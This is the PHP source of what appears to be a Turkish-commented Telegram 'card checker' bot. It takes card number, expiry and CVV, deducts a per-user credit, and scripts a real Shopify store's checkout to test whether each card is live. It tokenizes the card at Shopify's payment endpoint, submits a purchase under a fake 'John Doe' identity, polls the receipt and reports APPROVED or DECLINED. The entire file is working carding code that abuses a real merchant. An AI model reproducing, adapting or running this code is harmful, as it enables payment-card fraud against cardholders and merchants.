<?php

header('Content-Type: text/plain; charset=utf-8');
error_reporting(0);

$start = microtime(true);

// Database connection
$host = 'localhost';
$dbname = 'checkerbotdb3';
$username = 'root';
$password = '';

function getCurrentLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("SELECT shopifylimit FROM users WHERE chatid = :chatid");
        $stmt->execute(['chatid' => $chatid]);
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if ($result) {
            return (int)$result['shopifylimit'];
        }
        return 0;
    } catch(PDOException $e) {
        return 0;
    }
}

function decrementLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("UPDATE users SET shopifylimit = shopifylimit - 1 WHERE chatid = :chatid AND shopifylimit > 0");
        $stmt->execute(['chatid' => $chatid]);
        
        return true;
    } catch(PDOException $e) {
        return false;
    }
}

// Debug mode kontrolü
$debug = isset($_GET['debug']) && $_GET['debug'] == '1';
$debug_data = [];

if ($debug) echo "[DEBUG] ========== SHOPIFY1 BAŞLATILDI ==========\n\n";

// GET parametrelerini al
$lista = isset($_GET['lista']) ? $_GET['lista'] : '';
$chatid = isset($_GET['chatid']) ? $_GET['chatid'] : '';

if (empty($lista)) {
    die("ERROR: Missing lista parameter\nUsage: ?lista=CARD|MONTH|YEAR|CVV&chatid=CHATID");
}

if (empty($chatid)) {
    die("ERROR: Missing chatid parameter\nUsage: ?lista=CARD|MONTH|YEAR|CVV&chatid=CHATID");
}

// Check limit
$currentLimit = getCurrentLimit($chatid);
if ($currentLimit < 1) {
    die("ERROR: Insufficient limits (Available: {$currentLimit})");
}

// Deduct limit IMMEDIATELY
decrementLimit($chatid);

if ($debug) echo "[DEBUG] Kart bilgisi: $lista\n";

// Parse card details
$card_parts = explode('|', $lista);
$cc = $card_parts[0];
$mes = $card_parts[1];
$ano_input = $card_parts[2];
$cvv = $card_parts[3];

// Normalize year to last 2 digits (28 or 2028 -> 28)
if (strlen($ano_input) == 4) {
    $ano_input = substr($ano_input, -2);
}
$ano = "20" . $ano_input;

// BIN API
$bin = substr($cc, 0, 6);
$curl = curl_init();
curl_setopt_array($curl, [
    CURLOPT_URL => "http://localhost/yenifinalcheckerkey4bot/apiler/binapi/binapi2.php?bin=" . $bin,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT => 10,
]);
$bin_response = curl_exec($curl);
curl_close($curl);

// BIN formatını düzenle - Öncelik sırası: global2_db -> tr_db -> global_db
$bin_data = json_decode($bin_response, true);
$bin_formatted = $bin . " | N/A | N/A | N/A N/A";

if ($bin_data && is_array($bin_data)) {
    $selected_db = null;
    
    if (isset($bin_data['global2_db']) && is_array($bin_data['global2_db']) && !empty($bin_data['global2_db']['bank'])) {
        $selected_db = $bin_data['global2_db'];
    } elseif (isset($bin_data['tr_db']) && is_array($bin_data['tr_db']) && !empty($bin_data['tr_db']['bank'])) {
        $selected_db = $bin_data['tr_db'];
    } elseif (isset($bin_data['global_db']) && is_array($bin_data['global_db']) && !empty($bin_data['global_db']['bank'])) {
        $selected_db = $bin_data['global_db'];
    }
    
    if ($selected_db) {
        $country = isset($selected_db['country']) ? strtoupper($selected_db['country']) : 'N/A';
        $bank = isset($selected_db['bank']) ? strtoupper($selected_db['bank']) : 'N/A';
        $type = isset($selected_db['type']) ? strtoupper($selected_db['type']) : 'N/A';
        $level = isset($selected_db['level']) ? strtoupper($selected_db['level']) : 'N/A';
        
        $bin_formatted = "$bin | $country | $bank | $type $level";
        $bin_formatted = trim($bin_formatted);
    }
}

// Cookie jar
$cookie_file = tempnam(sys_get_temp_dir(), 'shopify_cookies');

// STEP 1: Sepete ürün ekle
$cart_url = "https://humanvideo.co/cart/add";
$boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(8));

$cart_headers = [
    'Accept: application/javascript',
    'Content-Type: multipart/form-data; boundary=' . $boundary,
    'Origin: https://humanvideo.co',
    'Referer: https://humanvideo.co/collections/titles-design/products/motion-blur-for-final-cut',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36',
    'X-Requested-With: XMLHttpRequest'
];

$cart_body = "--{$boundary}\r\n";
$cart_body .= "Content-Disposition: form-data; name=\"form_type\"\r\n\r\nproduct\r\n";
$cart_body .= "--{$boundary}\r\n";
$cart_body .= "Content-Disposition: form-data; name=\"utf8\"\r\n\r\n✓\r\n";
$cart_body .= "--{$boundary}\r\n";
$cart_body .= "Content-Disposition: form-data; name=\"id\"\r\n\r\n44960404209947\r\n";
$cart_body .= "--{$boundary}\r\n";
$cart_body .= "Content-Disposition: form-data; name=\"product-id\"\r\n\r\n8230665158939\r\n";
$cart_body .= "--{$boundary}\r\n";
$cart_body .= "Content-Disposition: form-data; name=\"section-id\"\r\n\r\ntemplate--24662291415323__main-product\r\n";
$cart_body .= "--{$boundary}\r\n";
$cart_body .= "Content-Disposition: form-data; name=\"sections\"\r\n\r\nmain-cart,cart-drawer,cart-bubble\r\n";
$cart_body .= "--{$boundary}\r\n";
$cart_body .= "Content-Disposition: form-data; name=\"sections_url\"\r\n\r\n/collections/titles-design/products/motion-blur-for-final-cut\r\n";
$cart_body .= "--{$boundary}--\r\n";

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $cart_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $cart_body,
    CURLOPT_HTTPHEADER => $cart_headers,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_TIMEOUT => 30,
]);
$checkout_response = curl_exec($ch);
$http_code_cart = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Sepet yanıtından fiyat bilgisini çıkar
if ($debug) echo "[DEBUG] STEP 1 tamamlandı. Fiyat bilgisi çıkarılıyor...\n";
$cart_json = json_decode($cart_response, true);

if ($debug) {
    $debug_data['step1_cart'] = [
        'http_code' => $http_code_cart,
        'response_preview' => substr($cart_response, 0, 500),
        'cart_json_keys' => $cart_json ? array_keys($cart_json) : null
    ];
}
$item_price = "5.40"; // Default
$currency = "USD"; // Default

if (isset($cart_json['main-cart'])) {
    // HTML'den fiyat çıkar
    if (preg_match('/data-cart-item-final-price["\']?[^>]*>[\s\$]*([0-9]+\.[0-9]{2})/', $cart_json['main-cart'], $price_match)) {
        $item_price = $price_match[1];
    }
} elseif (isset($cart_json['items']) && count($cart_json['items']) > 0) {
    // JSON formatından fiyat al
    $first_item = $cart_json['items'][0];
    if (isset($first_item['final_price'])) {
        $item_price = number_format($first_item['final_price'] / 100, 2, '.', '');
    } elseif (isset($first_item['price'])) {
        $item_price = number_format($first_item['price'] / 100, 2, '.', '');
    }
}

if ($debug) {
    echo "[DEBUG] ✓ Ürün Fiyatı: $$item_price $currency\n\n";
    $debug_data['step1_extracted_price'] = [
        'item_price' => $item_price,
        'currency' => $currency
    ];
}

// STEP 2: Checkout'a git
if ($debug) echo "[DEBUG] STEP 2: Checkout sayfasına yönlendiriliyor...\n";
$checkout_post_url = "https://humanvideo.co/cart";
$checkout_headers = [
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'Content-Type: application/x-www-form-urlencoded',
    'Origin: https://humanvideo.co',
    'Referer: https://humanvideo.co/collections/titles-design/products/motion-blur-for-final-cut',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36',
    'Upgrade-Insecure-Requests: 1'
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $checkout_post_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => 'checkout=',
    CURLOPT_HTTPHEADER => $checkout_headers,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_HEADER => false,
]);
$checkout_response = curl_exec($ch);
$checkout_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
$http_code_checkout = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($debug) {
    echo "[DEBUG] ✓ Checkout URL: $checkout_url\n\n";
    $debug_data['step2_checkout'] = [
        'http_code' => $http_code_checkout,
        'url' => $checkout_url,
        'response_length' => strlen($checkout_response),
        'response_preview' => substr($checkout_response, 0, 3000),
        'contains_window_data' => strpos($checkout_response, 'window.') !== false ? 'yes' : 'no'
    ];
}

// Checkout sayfasından güncel fiyat bilgilerini çek
if ($debug) echo "[DEBUG] Checkout sayfasından güncel fiyat bilgisi çekiliyor...\n";

// Alternatif: GraphQL ile checkout bilgilerini çek
$checkout_token = null;
if (preg_match('/checkouts\\/[^\/]+\\/([^\\/]+)/', $checkout_url, $token_match)) {
    $checkout_token = $token_match[1];
}

if ($checkout_token && $debug) {
    echo "[DEBUG] Checkout token: $checkout_token\n";
}

// GraphQL ile güncel fiyatı çek (checkout internal API kullan)
if ($checkout_token) {
    $graphql_url = "https://humanvideo.co/checkouts/unstable/graphql";
    $graphql_query = [
        'query' => 'query { sessionToken { value } currentNegotiation { payment { totalAmount { value { amount currencyCode } } } merchandise { merchandiseLines { merchandise { ... on ProductVariantSnapshot { price { value { amount currencyCode } } } } } } } }',
        'variables' => []
    ];
    
    $ch_gql = curl_init();
    curl_setopt_array($ch_gql, [
        CURLOPT_URL => $graphql_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => json_encode($graphql_query),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'Accept: application/json',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ],
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_TIMEOUT => 15
    ]);
    $graphql_response = curl_exec($ch_gql);
    $graphql_http_code = curl_getinfo($ch_gql, CURLINFO_HTTP_CODE);
    curl_close($ch_gql);
    
    if ($debug) {
        echo "[DEBUG] GraphQL yanıt kodu: $graphql_http_code\n";
        $debug_data['step2b_graphql_price_check'] = [
            'http_code' => $graphql_http_code,
            'response' => $graphql_response ? json_decode($graphql_response, true) : null
        ];
    }
    
    $gql_data = json_decode($graphql_response, true);
    // Try totalAmount first
    if (isset($gql_data['data']['currentNegotiation']['payment']['totalAmount']['value']['amount'])) {
        $item_price = $gql_data['data']['currentNegotiation']['payment']['totalAmount']['value']['amount'];
        $currency = $gql_data['data']['currentNegotiation']['payment']['totalAmount']['value']['currencyCode'] ?? $currency;
        if ($debug) echo "[DEBUG] ✓ GraphQL'den alınan güncel fiyat (totalAmount): $$item_price $currency\n";
        $price_found = true;
    }
    // Try merchandise price as fallback
    elseif (isset($gql_data['data']['currentNegotiation']['merchandise']['merchandiseLines'][0]['merchandise']['price']['value']['amount'])) {
        $item_price = $gql_data['data']['currentNegotiation']['merchandise']['merchandiseLines'][0]['merchandise']['price']['value']['amount'];
        $currency = $gql_data['data']['currentNegotiation']['merchandise']['merchandiseLines'][0]['merchandise']['price']['value']['currencyCode'] ?? $currency;
        if ($debug) echo "[DEBUG] ✓ GraphQL'den alınan güncel fiyat (merchandise): $$item_price $currency\n";
        $price_found = true;
    }
}

// Fallback: HTML'den pattern matching
if (!$price_found) {
    // Birden fazla pattern dene

// Pattern 1: "totalPrice":{"amount":"5.40"}
if (!$price_found && preg_match('/"totalPrice"[:\s]*{[^}]*"amount"[:\s]*"([0-9.]+)"/', $checkout_response, $total_match)) {
    $item_price = $total_match[1];
    $price_found = true;
    if ($debug) echo "[DEBUG] ✓ Checkout'tan alınan fiyat (pattern 1 - totalPrice): $$item_price\n";
}

// Pattern 2: "subtotalPrice":{"amount":"5.40"}
if (!$price_found && preg_match('/"subtotalPrice"[:\s]*{[^}]*"amount"[:\s]*"([0-9.]+)"/', $checkout_response, $subtotal_match)) {
    $item_price = $subtotal_match[1];
    $price_found = true;
    if ($debug) echo "[DEBUG] ✓ Checkout'tan alınan fiyat (pattern 2 - subtotalPrice): $$item_price\n";
}

// Pattern 3: "price":{"amount":"5.40"} (genel)
if (!$price_found && preg_match('/"price"[:\s]*{[^}]*"amount"[:\s]*"([0-9.]+)"/', $checkout_response, $price_match)) {
    $item_price = $price_match[1];
    $price_found = true;
    if ($debug) echo "[DEBUG] ✓ Checkout'tan alınan fiyat (pattern 3 - price): $$item_price\n";
}

// Pattern 4: window.__CHECKOUT_DATA__ veya benzeri JavaScript değişkeni
if (!$price_found && preg_match('/["\']amount["\'][:\s]*["\']([0-9.]+)["\']/', $checkout_response, $js_match)) {
    $item_price = $js_match[1];
    $price_found = true;
    if ($debug) echo "[DEBUG] ✓ Checkout'tan alınan fiyat (pattern 4 - JS amount): $$item_price\n";
}

// Pattern 5: data-total-price veya data-subtotal gibi HTML attribute
if (!$price_found && preg_match('/data-[a-z-]*price["\']?[:\s=]*["\']?([0-9.]+)/', $checkout_response, $data_match)) {
    $item_price = $data_match[1];
    $price_found = true;
    if ($debug) echo "[DEBUG] ✓ Checkout'tan alınan fiyat (pattern 5 - data attribute): $$item_price\n";
}
} // End of HTML pattern matching fallback

if (!$price_found && $debug) {
    echo "[DEBUG] ⚠ Checkout'tan fiyat çıkarılamadı, varsayılan kullanılacak: $$item_price\n";
}

if (preg_match('/"currency"[:\s]*"([A-Z]{3})"/', $checkout_response, $curr_match)) {
    $currency = $curr_match[1];
    if ($debug) echo "[DEBUG] ✓ Para birimi: $currency\n";
}
if ($debug) echo "\n";

// Session token çıkar
if ($debug) echo "[DEBUG] Session token çıkarılıyor...\n";
if (preg_match('/X-Checkout-One-Session-Token["\']?\s*[:=]\s*["\']([^"\']+)["\']/', $checkout_response, $match)) {
    $session_token = $match[1];
} elseif (preg_match('/sessionToken["\']?\s*[:=]\s*["\']([^"\']+)["\']/', $checkout_response, $match)) {
    $session_token = $match[1];
} else {
    $session_token = "AAEB4hDdX7HnSTxAj5wI_PpIMnFq5mN2u9G48fYcKmgJ-q-C2PDANArTYpjnWe0_FzhzmXgqzT39XYtqzqEAgFGJO1yOPGApMGxLZVIeEd_lxicHA_c-7nfNp6dYDaxcvf16VinbI87y7sjJ1YwMdIw_XNnGx5YZkAah4xbozpmRHIrdAxxOzo0lSaxYTMwhG9ZqZY4EjYd0Oj-Q5keM93xtzGE9B2Yb";
}

if ($debug) echo "[DEBUG] ✓ Session Token: " . substr($session_token, 0, 50) . "...\n\n";

// STEP 3: Kart tokenize et
if ($debug) echo "[DEBUG] STEP 3: Kart tokenize ediliyor...\n";
$tokenize_url = "https://checkout.pci.shopifyinc.com/sessions";
$tokenize_headers = [
    'Accept: application/json',
    'Content-Type: application/json',
    'Origin: https://checkout.pci.shopifyinc.com',
    'Referer: https://checkout.pci.shopifyinc.com/build/739af4d/number-ltr.html',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36',
    'Shopify-Identification-Signature: eyJraWQiOiJ2MSIsImFsZyI6IkhTMjU2In0.eyJjbGllbnRfaWQiOiIyIiwiY2xpZW50X2FjY291bnRfaWQiOiI3NDUxOTU0NDA5MSIsInVuaXF1ZV9pZCI6ImFjZjhiMDI4ZTZjYzQ5NDNiYzBmMTBmMmVkNTUzMjYyIiwiaWF0IjoxNzYyMDExMjQ1fQ.qKtUuU88gkXAPZZ8t2p9Lziaj0iOCFndTltPkqMydrY'
];

$tokenize_payload = [
    'credit_card' => [
        'number' => $cc,
        'month' => (int)$mes,
        'year' => (int)$ano,
        'verification_value' => $cvv,
        'start_month' => null,
        'start_year' => null,
        'issue_number' => '',
        'name' => 'John Doe'
    ],
    'payment_session_scope' => 'humanvideo.co'
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $tokenize_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($tokenize_payload),
    CURLOPT_HTTPHEADER => $tokenize_headers,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 30,
]);
$tokenize_response = curl_exec($ch);
curl_close($ch);

$tokenize_json = json_decode($tokenize_response, true);
if (!isset($tokenize_json['id'])) {
    if ($debug) {
        echo "[DEBUG] HATA: Tokenization başarısız\n";
        echo "[DEBUG] Yanıt: " . substr($tokenize_response, 0, 200) . "\n";
    }
    $remainingLimit = getCurrentLimit($chatid);
    $time = number_format(microtime(true) - $start, 2);
    die("❌ Card tokenization failed | {$lista} ({$time}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐇𝐎𝐏𝐈𝐅𝐘𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

$card_session_id = $tokenize_json['id'];
if ($debug) echo "[DEBUG] ✓ Card Session ID: $card_session_id\n\n";

// STEP 4: Ödeme işlemi
if ($debug) echo "[DEBUG] STEP 4: Ödeme işlemi başlatılıyor...\n";
$payment_url = "https://humanvideo.co/checkouts/unstable/graphql?operationName=SubmitForCompletion";
$payment_headers = [
    'Accept: application/json',
    'Content-Type: application/json',
    'Origin: https://humanvideo.co',
    'Referer: ' . $checkout_url,
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36',
    'X-Checkout-One-Session-Token: ' . $session_token,
    'Shopify-Checkout-Client: checkout-web/1.0'
];

$checkout_parts = explode('/', $checkout_url);
$attempt_token = $checkout_parts[count($checkout_parts) - 3] . '-' . bin2hex(random_bytes(10));

$payment_payload = [
    'query' => 'mutation SubmitForCompletion($input:NegotiationInput!,$attemptToken:String!){submitForCompletion(input:$input attemptToken:$attemptToken){...on SubmitSuccess{receipt{...on ProcessedReceipt{id token redirectUrl}...on ProcessingReceipt{id pollDelay}...on FailedReceipt{id processingError{...on PaymentFailed{code messageUntranslated}}}}}...on SubmitFailed{reason}...on SubmitRejected{errors{...on NegotiationError{code localizedMessage}}}}}',
    'variables' => [
        'input' => [
            'sessionInput' => ['sessionToken' => $session_token],
            'delivery' => [
                'deliveryLines' => [[
                    'selectedDeliveryStrategy' => [
                        'deliveryStrategyMatchingConditions' => ['estimatedTimeInTransit' => ['any' => true], 'shipments' => ['any' => true]],
                        'options' => new stdClass()
                    ],
                    'targetMerchandiseLines' => ['lines' => [['stableId' => '6e46c367-c2ad-4028-a7ff-074a9123444a']]],
                    'deliveryMethodTypes' => ['NONE'],
                    'expectedTotalPrice' => ['any' => true],
                    'destinationChanged' => true
                ]],
                'noDeliveryRequired' => [],
                'useProgressiveRates' => false,
                'prefetchShippingRatesStrategy' => null,
                'supportsSplitShipping' => true
            ],
            'merchandise' => [
                'merchandiseLines' => [[
                    'stableId' => '6e46c367-c2ad-4028-a7ff-074a9123444a',
                    'merchandise' => [
                        'productVariantReference' => [
                            'id' => 'gid://shopify/ProductVariantMerchandise/44960404209947',
                            'variantId' => 'gid://shopify/ProductVariant/44960404209947',
                            'properties' => [],
                            'sellingPlanId' => null,
                            'sellingPlanDigest' => null
                        ]
                    ],
                    'quantity' => ['items' => ['value' => 1]],
                    'expectedTotalPrice' => ['any' => true],
                    'lineComponentsSource' => null,
                    'lineComponents' => []
                ]]
            ],
            'payment' => [
                'totalAmount' => ['any' => true],
                'paymentLines' => [[
                    'paymentMethod' => [
                        'directPaymentMethod' => [
                            'paymentMethodIdentifier' => '9d403e74b08464c1193cb91d72186009',
                            'sessionId' => $card_session_id,
                            'billingAddress' => [
                                'streetAddress' => [
                                    'address1' => '123 Main Street',
                                    'address2' => '',
                                    'city' => 'New York',
                                    'countryCode' => 'US',
                                    'postalCode' => '10001',
                                    'firstName' => 'John',
                                    'lastName' => 'Doe',
                                    'zoneCode' => 'NY',
                                    'phone' => ''
                                ]
                            ]
                        ]
                    ],
                    'amount' => ['any' => true]
                ]],
                'billingAddress' => [
                    'streetAddress' => [
                        'address1' => '123 Main Street',
                        'address2' => '',
                        'city' => 'New York',
                        'countryCode' => 'US',
                        'postalCode' => '10001',
                        'firstName' => 'John',
                        'lastName' => 'Doe',
                        'zoneCode' => 'NY',
                        'phone' => ''
                    ]
                ]
            ],
            'buyerIdentity' => [
                'customer' => ['presentmentCurrency' => $currency, 'countryCode' => 'US'],
                'email' => 'test@example.com',
                'emailChanged' => false,
                'phoneCountryCode' => 'US',
                'marketingConsent' => [['email' => ['value' => 'test@example.com']]],
                'shopPayOptInPhone' => ['number' => '', 'countryCode' => 'US'],
                'rememberMe' => false
            ],
            'memberships' => ['memberships' => []],
            'deliveryExpectations' => ['deliveryExpectationLines' => []],
            'tip' => ['tipLines' => []],
            'taxes' => [
                'proposedAllocations' => null,
                'proposedTotalAmount' => ['value' => ['amount' => '0', 'currencyCode' => $currency]],
                'proposedTotalIncludedAmount' => null,
                'proposedMixedStateTotalAmount' => null,
                'proposedExemptions' => []
            ],
            'note' => ['message' => null, 'customAttributes' => []],
            'localizationExtension' => ['fields' => []],
            'nonNegotiableTerms' => null,
            'scriptFingerprint' => [
                'signature' => null,
                'signatureUuid' => null,
                'lineItemScriptChanges' => [],
                'paymentScriptChanges' => [],
                'shippingScriptChanges' => []
            ],
            'optionalDuties' => ['buyerRefusesDuties' => false],
            'cartMetafields' => []
        ],
        'attemptToken' => $attempt_token
    ],
    'operationName' => 'SubmitForCompletion'
];

// WAITING_PENDING_TERMS retry logic - max 3 attempts
$max_retry = 3;
$retry_count = 0;
$payment_success = false;

while ($retry_count < $max_retry && !$payment_success) {
    if ($retry_count > 0 && $debug) {
        echo "[DEBUG] Retry attempt #$retry_count due to WAITING_PENDING_TERMS\n";
    }

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $payment_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => json_encode($payment_payload),
        CURLOPT_HTTPHEADER => $payment_headers,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_TIMEOUT => 30,
    ]);
    $payment_response = curl_exec($ch);
    $http_code_payment = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    // Parse response
    if ($debug) {
        echo "[DEBUG] Ödeme yanıtı alındı (ilk 400 karakter):\n";
        $debug_data['step4_payment_submission'] = [
            'http_code' => $http_code_payment,
            'expectedTotalPrice' => $item_price,
            'currency' => $currency,
            'attempt_token' => $attempt_token,
            'response_preview' => substr($payment_response, 0, 500)
        ];
        echo "[DEBUG] " . substr($payment_response, 0, 400) . "...\n\n";
    }

    $result = json_decode($payment_response, true);
    $status = "DECLINED";
    $message = "Unknown";

    if ($debug) echo "[DEBUG] Yanıt analiz ediliyor...\n";

    if (isset($result['data']['submitForCompletion'])) {
        $submit_data = $result['data']['submitForCompletion'];
        
        if (isset($submit_data['receipt'])) {
            $receipt = $submit_data['receipt'];
            
            // ProcessedReceipt - SUCCESS
            if (isset($receipt['redirectUrl'])) {
                if ($debug) echo "[DEBUG] ✅ Ödeme BAŞARILI!\n";
                $status = "APPROVED";
                $message = "Payment Successful";
                $payment_success = true;
            }
            // FailedReceipt - DECLINED
            elseif (isset($receipt['processingError'])) {
                $error = $receipt['processingError'];
                $error_code = $error['code'] ?? 'Payment Failed';
                $error_msg = $error['messageUntranslated'] ?? '';
                
                if ($debug) {
                    echo "[DEBUG] ❌ Ödeme BAŞARISIZ\n";
                    echo "[DEBUG] Error Code: $error_code\n";
                    echo "[DEBUG] Error Message: $error_msg\n";
                }
                
                // Mesaj yoksa sadece code göster
                if (!empty($error_msg)) {
                    $message = $error_msg;
                } else {
                    $message = $error_code;
                }
                $payment_success = true; // Stop retrying on card decline
            }
            // ProcessingReceipt - PENDING (poll işlemi)
            elseif (isset($receipt['pollDelay'])) {
                $receipt_id = $receipt['id'];
                $poll_delay = max(1, ($receipt['pollDelay'] / 1000)); // ms to seconds, min 1s
                
                // Poll işlemi - max 10 deneme
                $max_attempts = 10;
                for ($attempt = 1; $attempt <= $max_attempts; $attempt++) {
                    sleep($poll_delay);
                    
                    $poll_url = str_replace('SubmitForCompletion', 'PollForReceipt', $payment_url);
                    $poll_query = 'query PollForReceipt($receiptId:ID!,$sessionToken:String!){receipt(receiptId:$receiptId,sessionInput:{sessionToken:$sessionToken}){...on ProcessedReceipt{id token redirectUrl orderIdentity{buyerIdentifier id}paymentDetails{paymentCardBrand creditCardLastFourDigits}}...on ProcessingReceipt{id pollDelay}...on FailedReceipt{id processingError{...on PaymentFailed{code messageUntranslated}}}}}';
                    
                    $poll_payload = [
                        'query' => $poll_query,
                        'variables' => [
                            'receiptId' => $receipt_id,
                            'sessionToken' => $session_token
                        ],
                        'operationName' => 'PollForReceipt'
                    ];
                    
                    $ch = curl_init();
                    curl_setopt_array($ch, [
                        CURLOPT_URL => $poll_url,
                        CURLOPT_RETURNTRANSFER => true,
                        CURLOPT_POST => true,
                        CURLOPT_POSTFIELDS => json_encode($poll_payload),
                        CURLOPT_HTTPHEADER => $payment_headers,
                        CURLOPT_SSL_VERIFYPEER => false,
                        CURLOPT_SSL_VERIFYHOST => false,
                        CURLOPT_COOKIEJAR => $cookie_file,
                        CURLOPT_COOKIEFILE => $cookie_file,
                        CURLOPT_TIMEOUT => 30,
                    ]);
                    $poll_response = curl_exec($ch);
                    curl_close($ch);
                    
                    $poll_result = json_decode($poll_response, true);
                    
                    if (isset($poll_result['data']['receipt'])) {
                        $final_receipt = $poll_result['data']['receipt'];
                        
                        // ProcessedReceipt - SUCCESS
                        if (isset($final_receipt['redirectUrl'])) {
                            $status = "APPROVED";
                            $message = "Payment Successful";
                            $payment_success = true;
                            break;
                        }
                        // FailedReceipt - DECLINED
                        elseif (isset($final_receipt['processingError'])) {
                            $error = $final_receipt['processingError'];
                            $error_code = $error['code'] ?? 'Payment Failed';
                            $error_msg = $error['messageUntranslated'] ?? '';
                            
                            // Mesaj yoksa sadece code göster
                            if (!empty($error_msg)) {
                                $message = $error_msg;
                            } else {
                                $message = $error_code;
                            }
                            $payment_success = true;
                            break;
                        }
                        // ProcessingReceipt - Hala işleniyor
                        elseif (isset($final_receipt['pollDelay'])) {
                            $poll_delay = max(1, ($final_receipt['pollDelay'] / 1000));
                            continue;
                        } else {
                            // Bilinmeyen durum - debug için raw response
                            $message = "Unknown receipt state: " . substr(json_encode($final_receipt), 0, 100);
                            $payment_success = true;
                            break;
                        }
                    } else {
                        // Receipt yok - hata olabilir
                        if (isset($poll_result['errors'])) {
                            $error = $poll_result['errors'][0];
                            $message = $error['message'] ?? 'Poll Error';
                            $payment_success = true;
                            break;
                        } else {
                            // Tamamen beklenmeyen durum
                            $message = "Invalid poll response: " . substr($poll_response, 0, 100);
                            $payment_success = true;
                            break;
                        }
                    }
                    
                    // Son deneme
                    if ($attempt == $max_attempts) {
                        $message = "Processing Timeout - Last response: " . substr($poll_response, 0, 150);
                        $payment_success = true;
                    }
                }
            }
        }
        elseif (isset($submit_data['reason'])) {
            $message = $submit_data['reason'];
            
            // Check if it's WAITING_PENDING_TERMS and should retry
            if (strpos($message, 'WAITING_PENDING_TERMS') !== false && $retry_count < $max_retry - 1) {
                $retry_count++;
                sleep(1); // Wait 1 second before retry
                continue; // Retry the payment
            } else {
                $payment_success = true; // Stop on other errors or max retries reached
            }
        }
        elseif (isset($submit_data['errors']) && count($submit_data['errors']) > 0) {
            $error = $submit_data['errors'][0];
            $message = $error['code'] ?? 'Error';
            if (isset($error['localizedMessage'])) {
                $message .= ' - ' . $error['localizedMessage'];
            }
            $payment_success = true;
        }
    }
    elseif (isset($result['errors']) && count($result['errors']) > 0) {
        $error = $result['errors'][0];
        $message = $error['message'] ?? 'GraphQL Error';
        $payment_success = true;
    }
    
    // If no specific condition met, break to avoid infinite loop
    if (!$payment_success && $retry_count == 0) {
        $payment_success = true;
    }
}// Get updated limit
$remainingLimit = getCurrentLimit($chatid);

// Output debug data if enabled
if ($debug && !empty($debug_data)) {
    header('Content-Type: application/json; charset=utf-8');
    $debug_data['final_result'] = [
        'status' => $status,
        'message' => $message,
        'card' => $lista,
        'duration' => number_format(microtime(true) - $start, 2),
        'remaining_limit' => $remainingLimit
    ];
    echo json_encode($debug_data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
    @unlink($cookie_file);
    exit;
}

// Output
$time = number_format(microtime(true) - $start, 2);

// Determine emoji based on status
$emoji = ($status == "APPROVED") ? "✅" : "❌";

